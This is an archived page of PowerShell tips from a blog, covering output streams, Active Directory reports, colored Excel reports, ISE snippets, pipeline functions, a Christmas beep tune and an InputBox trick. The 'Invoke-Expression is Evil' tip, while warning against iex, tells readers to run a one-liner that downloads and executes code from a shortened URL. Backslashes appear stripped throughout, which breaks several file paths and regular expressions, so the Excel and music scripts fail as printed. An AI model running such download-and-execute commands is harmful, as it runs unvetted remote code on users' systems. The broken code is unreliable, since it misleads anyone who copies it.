Skip to main content

Understanding PowerShell Streams

PowerShell provides seven different streams you can use to output information. Streams help sort out information because streams can be muted. In fact, some streams are muted by default. Here is a sample function called Test-Stream. When you run it, it sends information to all seven streams.

Please note: Write-Information was added in PowerShell 5.0. Remove the call to Write-Information from the sample if you want to run it in older PowerShell versions!


function Test-Stream
{
    #region These are all the same and define return values
    'Return Value 1'
    echo 'Return Value 2'
    'Return Value 3' | Write-Output
    #endregion
    
    Write-Verbose 'Additional Information'
   Write-Debug 'Developer Information'
   Write-Host 'Mandatory User Information'
   Write-Warning 'Warning Information'
   Write-Error 'Error Information'

   # new in PowerShell 5.0
   Write-Information 'Auxiliary Information' 
}

Here is what you will most likely see when you run Test-Stream:


 
PS C:> Test-Stream
Return Value 1
Return Value 2
Return Value 3
Mandatory User  Information
WARNING: Warning  Information
Test-Stream : Error  Information
At line:1 char:1
+ Test-Stream
+ ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error],  WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Test-Stream 
 
PS C:> $result =  Test-Stream
Mandatory User  Information
WARNING: Warning  Information
Test-Stream : Error  Information
At line:1 char:1
+ Test-Stream
+ ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error],  WriteErrorException
    + FullyQualifiedErrorId :  Microsoft.PowerShell.Commands.WriteErrorException,Test-Stream 
 
PS C:> $result
Return Value 1
Return Value 2
Return Value 3
 
PS C:>
 

As you can see, echo and Write-Output work the same, and in fact are the same (because echo is an alias for Write-Output). They define the return value(s). They can be assigned to a variable. The same is true for unassigned values that your function leaves behind: they go to Write-Output as well.

Write-Host sends text output directly to the console, so it is guaranteed to be always visible. This cmdlet should be used for messages to the user.

The remaining streams are silent. To see the output from the remaining streams, you need to enable them first:


$VerbosePreference = 'Continue'
$DebugPreference = 'Continue'
$InformationPreference = 'Continue'

Once you did this, Test-Stream produces output like this:


 
PS C:> Test-Stream
Return Value 1
Return Value 2
Return Value 3
VERBOSE: Additional Information
DEBUG: Developer Information
Mandatory User Information
Auxiliary Information 
 

To restore the default values, reset the preference variables:


$VerbosePreference = 'SilentlyContinue'
$DebugPreference = 'SilentlyContinue'
$InformationPreference = 'SilentlyContinue'

If you add the common parameters to your function, you can use -Verbose and -Debug when you call the function. Test-CommonParameter illustrates how you add common parameter support.


function Test-CommonParameter
{
    [CmdletBinding()]
    param()
    
    "VerbosePreference = $VerbosePreference"
    "DebugPreference = $DebugPreference"
}

When you run Test-CommonParameter, you will immediately understand how the -Verbose and -Debug common parameters work: they simply change the local preference variables:


 
PS C:> Test-CommonParameter
VerbosePreference = SilentlyContinue
DebugPreference = SilentlyContinue

PS C:> Test-CommonParameters -Debug -Verbose
VerbosePreference = Continue
DebugPreference = Inquire 
 

Twitter This Tip! ReTweet this Tip!


Posted Jan 06 2016, 06:00 AM by ps1

Get List of Operating Systems

If your boss needs a list of operating systems used by computers in your AD, this may be a good start:


#requires -Version 1 -Modules ActiveDirectory

$max = 100

$os = Get-ADComputer -Filter * -Properties OperatingSystem -ResultPageSize $max | 
Group-Object -Property OperatingSystem -NoElement | 
Select-object -ExpandProperty Name |
ForEach-Object { '"{0}"' -f $_ }

$list = $os -join ','
$list
# copy list to clipboard
$list | clip

This script gets all computer accounts from your AD and groups them by operating system, then produces a list from it. Make sure you play with PageSize because retrieving all computers in a large organization may take a long time.

Twitter This Tip! ReTweet this Tip!


Posted Dec 23 2015, 06:00 AM by ps1

Analyze Operating System by Organizational Unit

Here is a quick script that scans all OUs in your Active Directory for computer accounts, then groups them per OU by operating system:


#requires -Version 2 -Modules ActiveDirectory

Get-ADOrganizationalUnit -Filter * |
  ForEach-Object {
    $OU = $_
    

    Get-ADComputer -Filter * -SearchBase $OU.DistinguishedName -SearchScope SubTree -Properties Enabled, OperatingSystem |
      Where-Object { $_.Enabled -eq $true } |
      Group-Object -Property OperatingSystem -NoElement |
      Select-Object -Property Count, Name, OU, OUDN |
      ForEach-Object {
        $_.OU = $OU.Name
        $_.OUDN = $OU.DistinguishedName
        $_
      }
  } |
  Out-GridView

Twitter This Tip! ReTweet this Tip!


Posted Dec 22 2015, 06:00 AM by ps1

Invoke-Expression is Evil

It can't be reiterated too often: try and avoid the use of Invoke-Expression (Alias: iex).

This cmdlet executes whatever it receives and is prone to SQL-injection like attacks. Take a look at this strange one-liner, and run it in a PowerShell console (not the PowerShell ISE):


iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

Twitter This Tip! ReTweet this Tip!


Posted Dec 21 2015, 06:00 AM by ps1

Creating Colored Excel Reports

When you open a CSV file in Excel, you get a very fast data import, but the result is "black and white"; CSV data has no way of colorizing cells.

As an alternative, you can wrap your data in HTML, and then feed the HTML to Excel. This produces colored Excel reports and allows you to even specify fonts and font sizes.

The following example produces a status report in Excel. Running services are displayed in green, and stopped services surface in red:


#requires -Version 1

# write HTML intro code
$begin = 
{
    '<table>'
    '<tr>'
    '<th>DisplayName</th><th>Status</th><th>Required</th><th>Dependent</th>'
    '</tr>'
}

# this is executed for each data object
$process = 
{
    if ($_.Status -eq 'Running')
    {
        $style = '<td style="color:green; font-family:courier">'
    }
    else
    {
        $style = '<td style="color:red">'
    }
    
    '<tr>'
    '{0}{1}</td><td>{2}</td><td>{3}</td><td>{4}</td>' -f $style, $_.DisplayName, $_.Status, ($_.RequiredServices -join ','), ($_.DependentServices -join ',')
    '</tr>'
}

# finish HTML fragment
$end = 
{
    '</table>'
}

$Path = "$env:temptempfile.html"

# get all services and create custom HTML report
Get-Service | 
  ForEach-Object -Begin $begin -Process $process -End $end |
  Set-Content -Path $Path -Encoding UTF8

# find Excel, and feed HTML report into Excel
$Excel = Resolve-Path "C:Program Files*Microsoft OfficeOffice*EXCEL.EXE" | 
  Select-Object -First 1 -ExpandProperty Path

& $Excel $Path

Twitter This Tip! ReTweet this Tip!


Posted Dec 18 2015, 06:00 AM by ps1

Creating Code Snippets for ISE

PowerShell ISE supports code snippets, and you can easily create your own:


#requires -Version 3

$code = @' 
| Where-Object { $_ }
'@


New-IseSnippet -Title Where-Object -Description 'adds Where-Object' -Text $code -Force

This adds a new code snippet called "Where-Object". To insert it, type "where" and press CTRL+J, then select your snippet. Note that snippets persist, so there is no need for you to run this code in your profile.

Use the -Force parameter to overwrite and update existing snippets.

Twitter This Tip! ReTweet this Tip!


Posted Dec 17 2015, 06:00 AM by ps1

Turning ForEach-Object into a Function

ForEach-Object is a powerful pipeline cmdlet, but foremost it is an anonymous function. ForEach-Object is great to build "prototype functions" yet once you find a particular ForEach-Object statement useful, you might want to turn it into a reusable function.

The following statement uses ForEach-Object to count the elements emitted by a previous command. It uses the streaming mechanism (rather than wasting memory by first collecting all results in a variable):


Get-Service |
  ForEach-Object -Begin { $i = 0} -Process { $i++ } -End { $i }

To turn this dynamic statement into a function, simply translate it like this:


function Get-Count
{
    Begin { $i = 0} 
    
    Process { $i++ } 
    
    End { $i }
} 

Get-Service | Get-Count

As you can see, the -Begin, -Process, and –End parameters are simply mapped to their respective script blocks inside the function. You can even continue to use $_ inside your function to access the streaming element. This statement returns only running services:


Get-Service | ForEach-Object { if ($_.Status -eq 'Running') { $_ } }

And here is the respective function for it:


function Get-RunningService
{

  process
  {
    if ($_.Status -eq 'Running') { $_ }
  }
}

Get-Service | Get-RunningService

Why would you want to turn these pipeline statements into functions? Because it makes your code much more readable.

Pipeline cmdlets like ForEach-Object and Where-Object are perfectly fine if what you do is a very unique scenario. Once you realize, though, that the functionality you use could be useful in other scenarios as well, you might want to turn your ad-hoc pipeline cmdlets into a reusable pipeline-aware function.

Twitter This Tip! ReTweet this Tip!


Posted Dec 16 2015, 06:00 AM by ps1

How Pipeline Cmdlets Map to ForEach-Object

There are a number of routine pipeline cmdlets like Where-Object and Select-Object, yet the only essential cmdlet is ForEach-Object. All the other pipeline cmdlets are just predefined implementations. Which is good because it saves code. Yet, to understand how they work, it might be useful to see how they map to ForEach-Object:


# Measure-Object
Get-Service |
  ForEach-Object -Begin { $i = 0} -Process { $i++ } -End { $i }

# Where-Object { $_.Status -eq 'Running' }
Get-Service |
  ForEach-Object -Process { if ($_.Status -eq 'Running') { $_ } }

# Select-Object -ExpandProperty DisplayName
Get-Service |
  ForEach-Object -Process { $_.DisplayName }

Obviously, these examples are not complete, nor should they encourage you to always use ForEach-Object. They simply should inspire you to better understand the streaming nature of the PowerShell pipeline, and how ForEach-Object is the core element of it.Once you know how to translate a pipeline cmdlet to ForEach-Object, you will also be able to turn your pipeline into a new command. We'll show you tomorrow why this can be pretty useful.

Twitter This Tip! ReTweet this Tip!


Posted Dec 15 2015, 06:00 AM by ps1

Time for Christmas

It's time for Christmas again, so here is a PowerShell classic:


# inspired by: 
# http://forums.microsoft.com/TechNet-FR/ShowPost.aspx?PostID=2555221&SiteID=45
$notes = @'
  4A4 4A4 2A4 4A4 4A4 2A4 4A4 4C4 4F3 8G3 1A4 
  4Bb4 4Bb4 4Bb4 8Bb4 4Bb4 4A4 4A4 8A4 8A4 4A4 4G3 4G3 4A4 2G3 2C4 
  4A4 4A4 2A4 4A4 4A4 2A4 4A4 4C4 4F3 4G3 1A4 4Bb4 4Bb4 4Bb4 4Bb4 
  4Bb4 4A4 4A4 8A4 8A4 4C4 4C4 4Bb4 4G3 1F3 4C3 4A4 4G3 4F3 2C3 8C3 8C3  
  4C3 4A4 4G3 4F3 1D3 4D3 4Bb4 4A4 4G3 1E3 4C4 4C4 4Bb4 4G3 
  1A4 4C3 4A4 4G3 4F3 1C3 4C3 4A4 4G3 4F3 1D3 
  4D3 4Bb3 4A4 4G3 4C4 4C4 4C4 8C4 8C4 4D4 4C4 4Bb4 4G3 4F3 2C4 4A4 4A4 2A4 
  4A4 4A4 2A4 4A4 4C4 4C3 8G3 1A4 4Bb4 4Bb4 4Bb4 8Bb4 4Bb4 4A4 4A4 8A4 8A4 
  4A4 4G3 4G3 4A4 2G3 2C4 4A4 4A4 2A4 4A4 4A4 2A4 4A4 4C4 4F3 8G3 
  1A4 4Bb4 4Bb4 4Bb4 4Bb4 4Bb4 4A4 4A4 8A4 8A4 4C4 4C4 4Bb4 4G3 1F3
'@

# Note is given by fn=f0 * (a)^n
# a is the twelth root of 2
# n is the number of half steps from f0, positive or negative
# f0 used here is A4 at 440 Hz

$StandardDuration = 1000
$f0 = 440
$a = [math]::pow(2,(1/12)) # Twelth root of 2

function Get-Frequency([string]$note)
{
  # n is the number of half steps from the fixed note
  $null = $note -match '([A-G#]{1,2})(d+)'
  $octave = ([int] $matches[2]) - 4;
  $n = $octave * 12 + ( Get-HalfSteps $matches[1] );
  $f0 * [math]::Pow($a, $n);
}

function Get-HalfSteps([string]$note)
{
  switch($note)
  {
    'A'  { 0 }
    'A#' { 1 }
    'Bb' { 1 }
    'B'  { 2 }
    'C'  { 3 }
    'C#' { 4 }
    'Db' { 4 }
    'D'  { 5 }
    'D#' { 6 }
    'Eb' { 6 }
    'E'  { 7 }
    'F'  { 8 }
    'F#' { 9 }
    'Gb' { 9 }
    'G'  { 10 }
    'G#' { 11 }
    'Ab' { 11 }
  }
}

$notes.Split(' ') | ForEach-Object {

  if ($_ -match '(d)(.+)')
  {
    $duration = $StandardDuration / ([int]$matches[1])
    $playNote = $matches[2]
    $freq = Get-Frequency $playNote

    [console]::Beep( $freq, $duration)
    Start-Sleep -Milliseconds 50
  }
}

Twitter This Tip! ReTweet this Tip!


Posted Dec 14 2015, 06:00 AM by ps1

Fancy InputBox for Mandatory Parameters

When you declare a parameter mandatory and the user does not specify it, PowerShell prompts the user for it. Another way of creating mandatory parameters is to provide a default value that triggers an action.

Here is an example:


#requires -Version 2
function Get-Something
{
  param
  (
    $Name = $(
      Add-Type -AssemblyName Microsoft.VisualBasic
      [Microsoft.VisualBasic.Interaction]::InputBox('Enter Name','Name', $env:username)
    )
  )

  "You entered $Name."
}

When you run Get-Something like this, the function runs unattended:


Get-Something -Name Test

When you forget to specify -Name, a dialog box pops up, and the user can enter the value.

Twitter This Tip! ReTweet this Tip!


Posted Dec 11 2015, 06:00 AM by ps1